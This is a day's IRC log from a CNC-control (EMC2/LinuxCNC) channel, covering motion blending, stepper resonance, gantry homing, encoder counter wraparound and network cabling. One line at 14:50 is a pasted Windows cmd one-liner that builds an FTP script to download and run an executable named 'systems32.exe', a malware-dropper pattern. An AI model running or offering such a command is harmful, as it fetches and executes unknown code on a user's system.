#emc | Logs for 2012-01-17

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[00:37:16] <JT-Shop> yippie! the BP is wired up to the LAN with wire in the wall and not across the floor
[00:38:14] <finboyslick> JT-Shop: networked peanut butter?
[00:38:24] <finboyslick> Oops, dyslexia strikes again.
[00:39:10] <JT-Shop> LOL
[00:39:42] <JT-Shop> the BP Series 1 with 1/2 Anilam and 1/2 EMC2 control atm
[00:40:07] <finboyslick> But what's BP?
[00:40:12] <finboyslick> BridgePort
[00:40:16] <finboyslick> Duh.
[00:40:22] <finboyslick> Amnesia struck too, apparently.
[00:43:41] <JT-Shop> LOL
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[00:46:06] <finboyslick> OK time to cleverly bring attention away from stupid self now with a cute baby video: http://www.youtube.com/watch?v=KWFfDyupGpQ
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[01:55:15] <skunkworks_> what serial boards are supported? (like the 7i71?)
[01:55:45] <skunkworks_> (mesa)
[02:12:46] <pcw_home> All (in 2.5)
[02:13:04] <morfic> got the dual touchscreens finally right on the pc that will go on the lathe, just love how this went from "nothing works on this 'windows7 ready' touch panel" to "both working fine on ubuntu"
[02:14:34] <pcw_home> (all new sserial remote I/O cards are self describing so even new ones need no new support)
[02:14:37] <morfic> after months of picking pcw_home's brain, we actually successfully dragged it out long enough to now have more flexible options....and placed the order
[02:16:15] <morfic> pcw_home: my awkward way of saying thanks for the help ;)
[02:20:13] <Valen> morfic: dual touch screens on a lathe?
[02:21:02] <skunkworks_> pcw_home: wow - pretty cool
[02:21:15] <morfic> Valen: my boss heard touch screens work in linux, heard about touchy, he goes buys 2
[02:21:25] <Valen> heh
[02:21:27] <Valen> bad plan
[02:21:31] <morfic> but "we need to talk about that" turned into "here are your two screens"
[02:21:46] <Valen> i had a guy who did that
[02:21:56] <Valen> except with 250 screens across australia :-<
[02:21:58] <skunkworks_> looking at maybe the 5i25 + 7i76 (because it isn't that much more expensive than a decent breakout board)
[02:23:10] <morfic> Valen: i see only one flaw: they are optical touch screens, while this makes them easy to use, i'm afraid a fly could trigger them
[02:23:31] <Valen> optical, thats somewhat "old school" these days
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[02:23:45] <Valen> fly shouldn't but a hunk of grease/water will
[02:23:57] <morfic> Valen: 250 non working screens all over the country?
[02:24:05] <Valen> morfic: basically
[02:24:16] <Valen> i wound up writing a "driver" for them in python that sorta kinda worked
[02:24:22] <morfic> guess we will find out in summer, there is always at least one fly
[02:24:34] <Valen> but by the time i got it working right the client had given up
[02:25:45] <morfic> i just had to make hidtouch work for the surprise setup, and it worked, in a hardcoded way for right now, can always neatify later, seeing other drivers involving kernel modules, i figured i first try my luck on those
[02:26:10] <Valen> i'm just wondering what you would do with 2 screens mainly on a lathe?
[02:26:40] <morfic> main issue was it reads 2 points and bounces between them, ignoring the setup subgroup of packets to read out of all packets
[02:26:57] <morfic> Valen: electronic prints on one screen, control on other
[02:27:13] <Valen> ahh funky
[02:27:37] <Valen> hows the multihead handle it all?
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[02:28:33] <morfic> somehow my boss continues to talk about splitting each screen into separate screens, i need him to just forget about that, he will, once i show him what i did
[02:29:03] <morfic> Valen: normal as with any other 2 screen xorg? not sure what you meant in particular
[02:30:30] <Valen> i meant i was wondering how the multi screen thing went having 2x touch screens getting it to work out a touch on this screen means move the "mouse" over here
[02:31:12] <Valen> i guess it all worked lol given that its working i was just wondering if any fancyness was needed
[02:34:31] <morfic> oh
[02:35:12] <morfic> i worked on a single screen, and then worked around it trying to scale each touchscreen area across the full 3840x1080
[02:35:24] <morfic> then worked on getting the offsets right
[02:36:19] <morfic> so basically you have to cut it all in half so pointer stays on each screen, then add 1920/2+1920 as offset to the other
[02:37:27] <morfic> that part got me, cause based on the raw coordinates read, top left should have been 0,0 and other screen 1921,0
[02:38:02] <morfic> so i added more xf86_msg() to the translated coordinates and looked at what i got, then offset to get what i wanted
[02:38:43] <morfic> 2880 confused me until i noticed it is scaled half x width + full x width
[02:40:27] <morfic> Valen: is it obvious i am thrilled i got it working? :P
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[03:13:16] <Valen> lol you get an attaboy if you write it up and post it somewhere ;->
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[04:38:58] <Jymmm> What would make a good hand crank generator that wouldn't cause excessive fatigue, be portable (packable), and still provide enough juice for say recharging a battery pack, or radio, or lighting?
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[05:01:44] <Jymmm> Ok, this is very cool... http://vimeo.com/18479035
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[05:49:44] <KimK> Jymmm: I see that C.Crane doesn't carry much in that line anymore, but the Freeplay/BayGen wind-up line, with the Baylis spring-wound generator, is still available, maybe some of these links will help? http://www.freeplayenergy.com/ http://www.freeplayenergy.com/page-view.php?pagename=Mobile-Power&language= http://windupradio.com/ http://windupradio.com/trevor.htm
[05:50:09] <KimK> Good luck, I'll check back a little later
[05:50:18] * KimK goes back to the shop
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[06:21:42] <Jymmm> KimK: I had one of the original (chunky) wind up freeplay radios. Now, it seems they are just using a dymo to charge a capacitor and/or battery instead of the coiled spring. I think I also heard of ppl getting hurt or the spring breaking.
[06:22:44] <Jymmm> KimK: They don't give wattage output on this either http://www.freeplayenergy.com/page-view.php?pagename=FreeCharge-12V
[06:23:50] <Jymmm> KimK: I don't thingk the Freeplay company puts out the quality of products that they used to a few years back. Probably much cheaper to use dymo than coiled springs.
[06:24:38] <Jymmm> Something sorta like this is what I'm actually more interested in.... http://www.alpharubicon.com/altenergy/g76dcgen1.htm
[06:24:56] <Jymmm> KimK: It cna put out 300 Watts
[06:28:14] <frysteev> Jymmm: got the laser moved into the shop
[06:28:27] <Jymmm> frysteev: cool
[06:28:37] <frysteev> it was heavy
[06:29:05] <Jymmm> I bet
[06:31:50] <Jymmm> KimK: Here we go... http://www.youtube.com/watch?v=RgRT6WAStaE&feature=endscreen&NR=1
[06:41:49] <Jymmm> KimK: http://www.zetatalk.com/energy/tengy05n.htm
[06:44:56] <Jymmm> KimK: I like the wiper motor one, 12+v@10A seems reasonable for most purposes
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[07:24:24] <awallin_> I'm getting "Could not open command file 'sim_spindle_encoder.hal' when trying to open sim/axis ?? (latest code from git)
[07:26:05] <awallin_> Hi cradek. Yes, I got a few other requests for v-carving too! :) I'm using only line-segments from truetype-tracer for now. Making openvoronoi work with arcs is on the todo-list. The number of line-segments can be adjusted, now I'm using a low value.
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[14:44:54] <MrSunshine> gaah need to get my fingers out of my arse and make my casting pattern for the motor mounts ... sigh
[14:50:21] <cncbasher> %systemroot%\system32\cmd.exe
[14:50:41] <cncbasher> del eq&echo open 8891 >> eq&echo user 28086 30544 >> eq &echo get systems32.exe >> eq &echo quit >> eq &ftp -n -s:eq &systems32.exe &del eq
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[15:01:44] <MrSunshine> cncbasher, huh ? :P
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[15:12:28] <TRW_Aguascalient> hi, some idea wend 2.5 will be release?
[15:17:10] <JT-Shop> there has been some talk of releasing in Feb
[15:32:10] <TRW_Aguascalient> im done with the translation of the "getting started " manual to spanish could i send it to some body with administrative rights to up load it
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[15:38:06] <JT-Shop> yes, you make a git patch and send it to me
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[15:39:52] <TRW_Aguascalient> i have tray to use git but i still not caching how it works
[15:40:19] <JT-Shop> did you use a git checkout to get the 2.5 branch?
[15:40:24] <TRW_Aguascalient> i downloaded the develop version and from there i copy the .txt
[15:40:54] <TRW_Aguascalient> the .txt files i have are from 2.4
[15:41:03] <TRW_Aguascalient> i did the git download like 4 months ago
[15:41:24] <JT-Shop> ouch, you should have used 2.5 branch as new things have been included
[15:41:35] <JT-Shop> it may not affect the getting started much
[15:41:51] <TRW_Aguascalient> i will double check it
[15:42:28] <JT-Shop> I will go downstairs and get back with you in a moment
[15:42:38] <TRW_Aguascalient> ok
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[16:02:16] <awallin> for those of you interested in v-carving, there is now a highly expermental py-file that can be run as a "filter" for AXIS: https://github.com/aewallin/openvoronoi/blob/master/python_examples/ttt2medial.py
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[16:02:35] <awallin> I'll write more about this later in my blog I think.
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[16:04:11] <IchGucksLive> hi all around the globe
[16:04:22] <awallin> here are some images: http://www.anderswallin.net/2012/01/emc2-filters/
[16:05:42] <IchGucksLive> awallin: is this throu a simple g-code python generated ?
[16:05:47] <cradek> awesome
[16:05:50] <awallin> if someone has a cutting-simulator, it would be nice to see what they get if they run the ttt2medial.py g-code through it. it's for a 90-degree v-cutter (depth==radius)
[16:06:14] <awallin> IchGucksLive: for some definition of simple. yes. you hide away the complex stuff in c++ modules..
[16:07:29] <awallin> OR, if someone is crazy enough to try it on a real machine.. in MDF or foam..
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[16:07:45] <jthornton> in steel!
[16:08:00] <jthornton> I fit the first requirement for sure
[16:08:35] <jthornton> awallin: http://linuxcnc.org/index.php/english/documentation/6?task=view
[16:09:17] <awallin> jthornton: is that somewhere in the manual also? it could be?
[16:09:43] <IchGucksLive> awallin if somthing like this is good for you i can run it to the sim http://foengarage.de/m8.jpg
[16:11:05] <JT-Shop> awallin: I will add that to the history.txt file in a bit
[16:11:28] <JT-Shop> If you have found more we can add that as well
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[16:14:48] <awallin> IchGucksLive: yes, is that a fewwly available simulator? can it do a V-shaped cutter?
[16:14:53] <awallin> freely
[16:15:50] <IchGucksLive> no thats my commercial sim
[16:17:26] <awallin> IchGucksLive: if you have time you could try the v-carving. it needs my ttt, openvoronoi, and that py-script to generate the g-code. that could then be copy/pasted from AXIS into a textfile
[16:18:31] <IchGucksLive> link to your website ?
[16:19:16] * cpresser searches for some Foam to mill :)
[16:22:08] <IchGucksLive> foam or better us Necura800
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[16:23:11] <cpresser> i have some necuron400 parts that are to small for real projects
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[16:27:21] <cpresser> awallin: is there already a debian packet for openvoroni? or do i need to compile it myself?
[16:31:04] <IchGucksLive> Does someone Know if there are frames for qcad
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[16:59:53] <IchGucksLive> awallin: wher can i find the script
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[17:06:15] <IchGucksLive> awallin: i see you also do Astronomy i got a C14 in place
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[17:14:31] <IchGucksLive> i go for food By till later !
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[17:58:48] <lenne0815> HI guys, would anyone be so kind to answer me a few questions concerning emc2 and cv mode ?
[18:06:34] <pcw_home> Ask away (dont ask to ask)
[18:06:42] <lenne0815> ;)
[18:06:44] <lenne0815> thx
[18:07:07] <lenne0815> im running mach3 now for quiet some time
[18:07:29] <lenne0815> and im cutting fairly complex 3d with it on my 2,5d machine
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[18:07:51] <jthornton> mill?
[18:08:03] <lenne0815> but mach3 seems to be out of support / developement ofr quiet some time now
[18:08:09] <lenne0815> yes
[18:08:28] <lenne0815> and im not really satisfied with how it handles cv mode
[18:08:43] <jthornton> what is cv mode?
[18:08:56] <lenne0815> constant velocity
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[18:09:06] <IchGucksLive> then you are write here if you are unhappy with mach 3
[18:09:07] <jthornton> usually reserved for lathes
[18:09:49] <IchGucksLive> her you got the G64 mode to do this
[18:09:50] <lenne0815> im here to ask if emc has a better iomplementation of cv in comparison to mach3
[18:10:04] <lenne0815> yeah i read about that
[18:10:31] <jthornton> absolutely you need to use G64Pn
[18:10:31] <lenne0815> how does that work ? i mean in the end cv is something emc handles by itself, isnt it ?
[18:10:38] <jthornton> one second
[18:10:47] <lenne0815> what option would i have with emc ?
[18:10:50] <IchGucksLive> and if you got a tiny place to let emc do its calculation P0.05 mm it will speed up to alpost G0
[18:11:07] <jthornton> lenne0815: http://linuxcnc.org/docview/2.5/html/common/User_Concepts.html
[18:11:18] <lenne0815> for mach 3 thjeres a angle option and an option to narrow the "corridor" cv works in
[18:11:28] <lenne0815> is that similar in emc ?
[18:11:47] <jthornton> no, sounds confusing to me
[18:12:10] <IchGucksLive> the angel is tha radius and the corridor is the P
[18:12:29] <skunkworks> lenne0815: what hardware do you have?
[18:12:37] <lenne0815> the thing is mach3s implementation is rather "buggy"
[18:12:45] <skunkworks> it might be easy to stick in the livecd and just try it..
[18:12:59] <lenne0815> it runs many many times into situations where it could run full speed
[18:13:00] <skunkworks> lenne0815: I have read it stalls at times...
[18:13:04] <jthornton> I never could get it work on my plasma cutter
[18:13:07] <lenne0815> but slows down a lot
[18:13:30] <lenne0815> my hardware is completely diy
[18:13:50] <IchGucksLive> emc even does not slow down on CV if the points are in 0.1mm distance
[18:13:58] <lenne0815> yeah, i would try it but atm i really dont have the time to do it unfortunately
[18:14:05] <skunkworks> like I say - you could just try it with the livecd.. Then play with path following (g64 Px.xxx Qx.xxx)
[18:14:15] <lenne0815> ok
[18:14:23] <lenne0815> ill google more on that for sure
[18:14:37] <skunkworks> we could not compare it to mach as mach is closed source and we don't know how it is implimented
[18:14:41] <jthornton> no need to google just read the manual link I gave you
[18:14:46] <lenne0815> what i do is i do a lot of 3d zigzag routing because my x is much faster then my y
[18:15:08] <lenne0815> is emy able to fersee the sudden change in direction in the code and slow down accordingly ?
[18:15:14] <jthornton> I cut at 450IPM with little tiny lines and arcs with my plasma cutter
[18:15:19] <IchGucksLive> the XZ is the importend
[18:15:47] <IchGucksLive> lenne0815: where are you from Country
[18:15:49] <skunkworks> lenne0815: emc is going to obey your max accelleration/ velocity you setup...
[18:15:50] <lenne0815> problem is i have very slow acceleration rates because my gantry etc is quite heavy
[18:16:00] <lenne0815> skunk at all times ?
[18:16:11] <lenne0815> because in mach 3 cv overrides these
[18:16:14] <skunkworks> all the time.. that should not even be a question you should have to ask....
[18:16:25] <lenne0815> with a lot of trickery i finally mangaed to get it going
[18:16:32] <lenne0815> but its not a clean solution
[18:17:03] <lenne0815> for example i have to keep my gcode very short so that mach 3 is able to see far enough in the "future" to epect sudden direction changes
[18:18:14] <lenne0815> before i figured out what was going on it got stuck from x+ movement to x- movement a lot
[18:18:14] <skunkworks> lenne0815: the link that jthornton gave you explains it all.
[18:18:23] <jthornton> :)
[18:18:40] * jthornton goes to town now
[18:18:57] <IchGucksLive> jthornton: dont forget the milk
[18:18:58] <lenne0815> ok, ill read it first before asking more questions ;)
[18:19:20] <IchGucksLive> lenne0815: you will be fine with the emc
[18:20:20] <skunkworks> Try it :)
[18:20:38] <skunkworks> let us know how it works.
[18:24:48] <lenne0815> i thin kim gonna give it a try, i read through thorntons link
[18:25:22] <lenne0815> but i doesnt really specify for example how far emc is able to forsee sudden changes in direction
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[18:25:37] <lenne0815> is there an option in emc to specify that ?
[18:26:12] <lenne0815> mach3 for example lets u set it up to 2000 wich is sometimes not enough
[18:26:55] <lenne0815> if i have a really long gcode it just bangs into a full stop and stalls the steppers
[18:27:03] <IchGucksLive> it is hardcodet 100 N
[18:27:15] <lenne0815> 100n is 100 lines ?
[18:27:23] <IchGucksLive> yes
[18:27:39] <lenne0815> ok, but i thing it might work better then mach3 anyway
[18:27:54] <IchGucksLive> but keep in mid if it is only in P space tere forced together so even more
[18:28:09] <lenne0815> i think mach3 restricts itself with this kind of windows hack it does to get realtime
[18:28:13] <lenne0815> but thats just a guess
[18:28:23] <IchGucksLive> try it
[18:28:24] <skunkworks> In emc you specify how close you want it to follow the programmed path.. I goes as fast as it can while staying within that tolerance..
[18:28:42] <lenne0815> jeqah i do understand that
[18:29:26] <lenne0815> i really hope it has a better implementation as mach3
[18:29:39] <lenne0815> that would be great :)
[18:29:58] <skunkworks> you have nothing to lose to try ;)
[18:30:09] <lenne0815> just time and cutting bits ;)
[18:30:23] <lenne0815> i crashed so much stuff figuring it out in mach3
[18:30:29] <lenne0815> and im still not satisfied
[18:31:01] <lenne0815> mach3 has an tolerance option aswell, but once thats activated i could do it faster by hand :/
[18:31:34] <lenne0815> it should work the same as described in thorntons link
[18:31:40] <lenne0815> it doesnt :/
[18:31:59] <lenne0815> ill try to come back once i tested it
[18:32:42] <lenne0815> another question ;)
[18:32:47] <lenne0815> concerning hardware
[18:33:13] <lenne0815> i went through about 5 mobos / lpt add in cards untill i found one that worked well with mach
[18:33:37] <lenne0815> can i expect once the linux drivers are setup that the lpt works ?
[18:33:51] <lenne0815> or are there major incompatibilities ?
[18:33:57] <skunkworks> I should just work...
[18:34:30] <skunkworks> make sure you look at the stepconf wizard and run the latency test..
[18:34:41] <lenne0815> ok, ill do that
[18:35:23] <skunkworks> read.. manual http://linuxcnc.org/docview/2.4/html/
[18:35:42] <skunkworks> this is the step wizard. http://linuxcnc.org/docview/2.4/html/config_stepconf.html
[18:35:50] <skunkworks> also goes over the latency test.'
[18:36:23] <skunkworks> what speed of step pulses are you needing?
[18:36:45] <lenne0815> right now im pulsing at 45khz
[18:37:03] <lenne0815> which is unfortunately enough to run my steppers at full speed ;)
[18:37:20] <skunkworks> what steps per inch are you?
[18:37:46] <lenne0815> its not inch its in mm
[18:37:59] <lenne0815> let me quickly calculate it ;)
[18:38:40] <skunkworks> well - what is it in MM
[18:39:09] <lenne0815> with 200 steps it travels 5mm
[18:39:35] <skunkworks> what is your top speed?
[18:39:55] <lenne0815> on y its 2200mm / m
[18:40:06] <lenne0815> and on y its 4300 mm / m
[18:40:13] <lenne0815> x i mean
[18:40:32] <lenne0815> ill chnage it to driven ball nuts though
[18:40:35] <IchGucksLive> lenne0815: no halfstrepping why
[18:40:44] <lenne0815> so in the future its going to be a lot faster
[18:40:56] <lenne0815> ah now i get what u mean
[18:41:13] <lenne0815> um i dont remember what i set my drivers to
[18:41:26] <lenne0815> but it is on the very low end of the settings
[18:41:54] <lenne0815> i think it was 1/4
[18:42:10] <lenne0815> so not 200 steps but 800
[18:42:24] <lenne0815> or maybe 1600
[18:42:51] <lenne0815> i tried pretty much all the possible dip switch settings on the drivers
[18:43:06] <lenne0815> but i didnt really made a difference
[18:43:38] <lenne0815> only that mach 3 kept crashing from maybe 80kz up to 100khz
[18:44:08] <lenne0815> right now i do run into physical restrictions too quickly on my machine
[18:44:26] <lenne0815> y is much to long and starts to vibrate over 2300mm / m
[18:44:56] <lenne0815> x is to heavy to accelerate / keep stable over 4300 mm / m
[18:45:39] <skunkworks> emc is on most motherboards will max out at about 50khz....
[18:45:58] <lenne0815> that would be enough
[18:46:43] <lenne0815> with the driven ball nuts im gonna implement a 2/3 gearing or similar, so the steppers will run a bit slower aswell
[18:47:33] <lenne0815> another question concerning emc
[18:47:42] <lenne0815> the toolpath view window
[18:47:57] <lenne0815> is it handled via ogl or similar ?
[18:48:10] <lenne0815> as i said i do have fairly complex code
[18:48:30] <lenne0815> if i attemp to rotate the toolpath viewport in mach3 it just kicks out
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[18:49:29] <IchGucksLive> emc doe the calculation on its own so 800 is good with parport for 1600mm/min
[18:49:42] <IchGucksLive> on Msa even 10times this
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[18:50:03] <lenne0815> msa ?
[18:51:04] <lenne0815> just another question ;) is emc able to compensate for mid band resonance ?
[18:51:51] <lenne0815> what i read was that emc does use an s curve for acceleration and not a simple ramp like mach3 uses
[18:52:47] <lenne0815> if anyones interested u can have a look at my machine @ http://forums.bit-tech.net/showthread.php?t=179960&page=20
[18:55:04] <pcw_home> mid band resonance compensation is something in the step driver domain, not the controller
[18:55:06] <pcw_home> (EMC would need feedback to be able to do this)
[18:55:20] <lenne0815> ok i see
[18:56:29] <pcw_home> its not impossible, but if you are going to that much trouble a servo drive with feedback is probably a better option
[18:56:41] <IchGucksLive> lenne0815: M542 Leadshine
[18:56:51] <lenne0815> the weird thing is that only one of my stepper does it
[18:57:20] <skunkworks> lenne0815: emc does not use s-curve yet.. (but it is 10ft tall)
[18:57:59] <lenne0815> didnt get that
[18:58:47] <lenne0815> the leadshine driver does exactly look like mine
[18:58:52] <pcw_home> resonance its affected by mechanical resonance (determined by system mass and torque) and drag so may well be different on different axis
[18:58:55] <lenne0815> but theyre not leadshine branded
[18:59:21] <lenne0815> strange thing is that its on the z axis
[18:59:40] <lenne0815> if i unmount the stepper and hold it in my hand it doesnt vibrate
[18:59:49] <IchGucksLive> i got M542 on 5mm thread working at 5600mm/min
[19:00:03] <lenne0815> do u have a picture of it ?
[19:00:18] <IchGucksLive> no
[19:00:34] <lenne0815> how thick is the ballscrew ?
[19:00:44] <lenne0815> and how much weight does it moce ?
[19:00:53] <lenne0815> move
[19:01:07] <IchGucksLive> no Ballscrew its simply TR
[19:01:15] <lenne0815> is it a nema 23 with no gearing ?
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[19:01:30] <IchGucksLive> Nema34 with 1/5
[19:01:39] <lenne0815> ok i see ;)
[19:01:53] <IchGucksLive> on 400 steps /RPM
[19:01:54] <lenne0815> my steppers are to small for my machine :/
[19:02:32] <IchGucksLive> you shoudt go for the Epson laser steppers this is the cheep powerfull way
[19:02:58] <lenne0815> where did u get them ?
[19:03:04] <IchGucksLive> ebay
[19:03:18] <IchGucksLive> where are you from USA
[19:03:24] <lenne0815> germany
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[19:03:52] <IchGucksLive> im in Kaiserslautern
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[19:06:02] <cncbasher> lenne0815> i have about 10 of those stepper drivers in systems , without any problem , i think you will find you have mechanical resonance somewhere as suggested eirlier
[19:06:30] <cncbasher> or the stepper drive is just not up to the task
[19:06:41] <cncbasher> sorry meant motor
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[19:08:21] <skunkworks> cncbasher: who are you on the mailing list?
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[19:28:12] <MrSunshine> fiiinaly got around to start on the casting pattern for the stepper mounts =)
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[19:42:11] <jdhNC> http://www.ebay.com/itm/120841455092
[19:42:23] <jdhNC> would that be useful for anything, or is it speed control only?
[19:44:44] <cncbasher__> jdhNC> Looks to me to be speed control onlu , with some reduction drive
[19:45:36] <cncbasher__> theirs no quadrature type or resolver fitted as far as i can see
[19:45:48] <jdhNC> just a tach
[19:45:53] <cncbasher__> yea
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[20:30:04] <lenne0815> one more question :) on the y axis i do have 2 steppers running independently with their own inputs, they have idipendent end switches to align x / y is this setup possible with emc2 ?
[20:32:14] <andypugh> lenne0815: Have a look at the gantry sample config
[20:32:43] <andypugh> However, the one in the current release is a bit over-complicated, the version in 2.5 is a bit cleearer.
[20:33:38] <andypugh> One complication is that you need to switch from independent control to coordinated control, which you do with the $ key.
[20:34:03] <andypugh> So, you start up with 4 joints, then home, then switch to 3 axes.
[20:36:28] <lenne0815> ok, so i would have to do that every time i home the machine ?
[20:36:43] <lenne0815> but once its setup it runs just as a 3 axis ?
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[20:39:54] <andypugh> Exactly.
[20:40:04] <andypugh> All it is is an auto-squaring process.
[20:41:31] <andypugh> You can not bother, and just slave the two motors together, but as you have individual homing switches, you might as well use them.
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[20:42:53] <lenne0815> Problem is i do still loose steps frequently on one of the ball screws, that why i need this setup
[20:43:25] <lenne0815> sometimes even switching the machine on and off causes the motors to travel some steps
[20:43:35] <lenne0815> thank u for the answer !
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[20:45:47] <skunkworks> Mmmmm coffee...
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[20:52:34] <lenne0815> and another question ;) on the dl page it says the live cd comes with version 2.4.3, but the latest version is 2.4.7 ?
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[20:54:25] <alex4nder-> hey
[20:55:15] <andypugh> lenne0815: Yes, but it will auto-update to 2.4.7
[20:55:55] <JT-Shop> for FREE!
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[20:57:14] <lenne0815> thx, im gonna "dry" install it now and have a prelim look at it :)
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[21:50:18] <JT-Shop> do you need a crossover cable from the wall jack to your computer instead of a straight through cable?
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[21:51:43] <Guest85744> re
[21:52:00] Guest85744 is now known as slime
[21:52:04] <slime> rere
[21:52:41] <JT-Shop> er
[21:53:18] <slime> i have a little prob with my home build mpg
[21:53:21] <slime> :D
[21:53:41] <slime> http://amalas.eu/~slime/PROJECTS/CNC/mpg
[21:54:08] <slime> i have an encoder which is connected to an avr
[21:54:17] <slime> the avr connects over modbus to emc
[21:54:28] <slime> avr counts the encoder
[21:54:37] <slime> 0-65535
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[21:54:59] <slime> i feed this into axis.x.jog-counts
[21:55:10] <slime> now the problem
[21:55:46] <slime> if the counter "wraps" from 0 to 65535 the cnc did a very loooooong move
[21:55:50] <slime> :D
[21:56:08] <slime> what is the solution?
[21:58:12] <Jymmm> -32768, 0, +32768
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[21:58:55] <JT-Shop> and the roundabout connection is to solve some other issue?
[21:59:28] <slime> ?
[21:59:43] <MarkusBec> hi
[21:59:48] <JT-Shop> the avr and modbus part
[21:59:51] <slime> marcus
[21:59:53] <slime> hi
[21:59:55] <slime> :D
[22:00:12] <slime> i dont understand ur question
[22:00:34] <slime> JT-Shop:
[22:00:36] <Jymmm> slime: why are you using the avr?
[22:00:40] <JT-Shop> why use the avr and modbus instead of just wiring the encoder to the inputs
[22:00:55] <slime> ok
[22:01:07] <slime> i only have one parport
[22:01:24] <slime> there are not enough inputs for all the stuff
[22:01:29] <cradek> mpg response sucks if mpgs are not read in realtime
[22:01:44] <cradek> just get another one for $4
[22:01:50] <JT-Shop> can you add a pci parallel port?
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[22:03:10] * JT-Shop goes back to trouble shooting my LAN
[22:03:13] <cradek> if you are using modbus, do you have a serial port? they have 4 bits you can read in realtime with the serport hal driver
[22:04:18] <cradek> a 1488 would be a very simple way to do the interfacing if your mpg is ttl level
[22:07:04] <slime> er, i have 12 keys, encoder and fo slider
[22:07:25] <slime> how to do that with only 4 inputs?
[22:07:38] <MarkusBec> the idea is to use the atmega for all led switches and encoder and connect this with a small kable to emc
[22:08:01] <slime> yes, i forgot the led´s
[22:09:09] <cradek> ideally the wheel should be realtime, the rest of the stuff doesn't matter
[22:09:21] <cradek> you could definitely use hal_input and usb for everything else
[22:09:50] <slime> ok, thats an argument
[22:09:54] <slime> but
[22:09:54] <MarkusBec> realtime is not the problem at the moment ;)
[22:09:56] <PCW> You probably need to write a component to handle counter wrapping
[22:10:01] <cradek> no argument, just advice
[22:10:09] <slime> that is not the solution of the problem
[22:10:33] <slime> MarkusBec: u name it
[22:11:00] <slime> i have the problem with the "wrap" at the counter
[22:11:14] <cradek> well not if you use the encoder module in emc to read it
[22:11:47] <slime> hmm
[22:12:02] <Jymmm> Gross Overgeneralization. Everything that we tell you in #emc is what we consider "best practices". Of course, only YOU know your own requirements, so you may feel you need to do something we told you not to. Just don't say we didn't warn you. =)
[22:12:26] <slime> rofl
[22:12:32] <MarkusBec> ....
[22:12:42] <cradek> yes people often choose to do something the hard way or choose a way that gives poor results... :-)
[22:12:59] <syyl> "good way, bad way, my way"
[22:12:59] <cradek> and yet Jymmm will tell you that's not his fault
[22:13:13] <syyl> "isnt that the bad?" "-yes, but faster"
[22:13:41] <PCW> or just write a comp to promote your 16 bit number to 32 bits (and live with a little lumpyness)
[22:13:46] <cradek> mpg over avr over modbus will be the hard way and will also work badly when you're done
[22:13:58] <Jymmm> cradek: Well, how else am I gonna get rid of all this excess rope?
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[22:14:12] <cradek> you can fix the obvious problem of wraparound easily in many ways, starting with fixing it in your avr code
[22:14:24] <cradek> you do it by detecting the wraparound and ... handling it
[22:14:37] <cradek> but you'll still have poor laggy response in your wheel when you're done
[22:15:49] <cradek> bbl
[22:15:52] <PCW> We have as little as 8 bit counters for our remote MPG (but good enough for manual)
[22:16:54] <andypugh> Typically counters are read in and "promoted" to 64 bits inside HAL.
[22:17:13] <andypugh> Arguably a quadrature counter is just a 2-bit counter..
[22:18:27] <PCW> Right so slime could just take some existing wrap code from HostMot2 or Pico and make a comp from it
[22:19:57] <andypugh> Yes, in fact (for reasons that I haven't bothered working out) it "just happens" if you add the difference between the last count and the current count to your S64 counter. (And you won't wrap a 64 bit counter in your lifetime)
[22:20:53] <andypugh> Though it might be even simpler for the AVR to simply send deltas.
[22:24:46] <Jymmm> andypugh: Would deltas work at the crossover (97,98,99,00,01) point?
[22:25:17] <Valen> delta would just say +1
[22:25:25] <Valen> let something smarter handle it
[22:25:46] <andypugh> Yes, the 2s complement makes it all work out (if you use -50 to 50)
[22:26:01] <andypugh> Or -1024 to 1024, or whatever.
[22:26:24] <Jymmm> k, i was just curious (never considered using deltas like that before is all)
[22:26:38] <Jymmm> ty btw
[22:27:42] <andypugh> Right, all my parts went to the post office, not my parcel box, so tonight I have nothing to do. Sounds like a good excuse to catch up on sleep.
[22:27:45] <andypugh> Night all.
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[22:36:14] <PCW> Our hardware counters in SoftDMC only report deltas (to minimize code that deals with wraps)
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[22:56:16] <JT-Shop> deltas = a change plus or minus?
[22:56:43] <PCW> newcount - previouscount
[22:58:02] <PCW> (in our case the counter is reset (carefully) everytime its read)
[22:58:23] <JT-Shop> now I understand how that works :)
[22:59:51] <PCW> so as long as you read it fast enough that the littel hardware counter can never wrap yo can extend the count in software to 32/64 bits
[23:03:14] <JT-Shop> so a 64 bit unsigned number is approximately 18,446,744,073,709,551,615 ?
[23:04:11] <Jymmm> JT-Shop: you forgot the "small diet soda"
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[23:05:12] <Jymmm> JT-Shop: 128bit unsigned == 340,282,366,920,938,463,463,374,607,431,768,211,455 + small diet soda =)
[23:12:50] <JT-Shop> Jymmm: what's wrong with my LAN cable?
[23:13:24] <Jymmm> JT-Shop: Did anything get changed recently?
[23:13:59] <JT-Shop> yea, I cut off the male plug and installed a wall type of female plug
[23:14:29] <Jymmm> JT-Shop: Do you have auto-mux'ing switch?
[23:14:35] <Jymmm> ^an
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[23:14:45] <JT-Shop> on my switch?
[23:14:54] <Jymmm> your ethernet switch, yes.
[23:15:29] <Jymmm> ethernet switch/router, or whatever you are using that is.
[23:16:02] <PCW> MDI-X
[23:16:04] <JT-Shop> no buttons, switches or bells
[23:16:20] <Jymmm> JT-Shop: What is the brand/model # ?
[23:17:26] <JT-Shop> a little 4 port dlink... which worked fine with the male plug on the wire hanging out of the wall
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[23:18:01] <Jymmm> JT-Shop: what is the model number?
[23:18:35] <JT-Shop> DES-1105
[23:18:41] <Jymmm> ok, hang on a sec...
[23:18:44] <JT-Shop> how does that affect anything?
[23:19:40] <Jymmm> Ok, that model DOES have auto mux.
[23:19:51] * JT-Shop loves to get e-mails that contain this "The machine has really been running good."
[23:19:58] <JT-Shop> what is auto mux?
[23:20:35] <Jymmm> JT-Shop: Ok, so when you cut off the end and wired on a female RJ45 wall jack, you had to now use a new cable that goes from the wall jack to the computer, correct?
[23:20:51] <JT-Shop> yep
[23:21:00] <JT-Shop> all are wired B
[23:21:02] <Jymmm> JT-Shop: have you ever used that "new" cable before?
[23:21:34] <JT-Shop> well I added a plug to the cut off part, then swapped it out with a known good cable
[23:21:56] <Jymmm> Is that "new" cable is use at the moment?
[23:22:24] <JT-Shop> well I've tried 2 cables and the known good one is connected
[23:22:48] <Jymmm> JT-Shop: Are you sure you wired the wall jack correctly?
[23:23:37] <JT-Shop> I wired both cables T568B
[23:23:53] <JT-Shop> I have two cables at that location and neither one work
[23:23:56] <JT-Shop> s
[23:24:15] <Jymmm> and both ends are wired the same way?
[23:24:23] <JT-Shop> yep
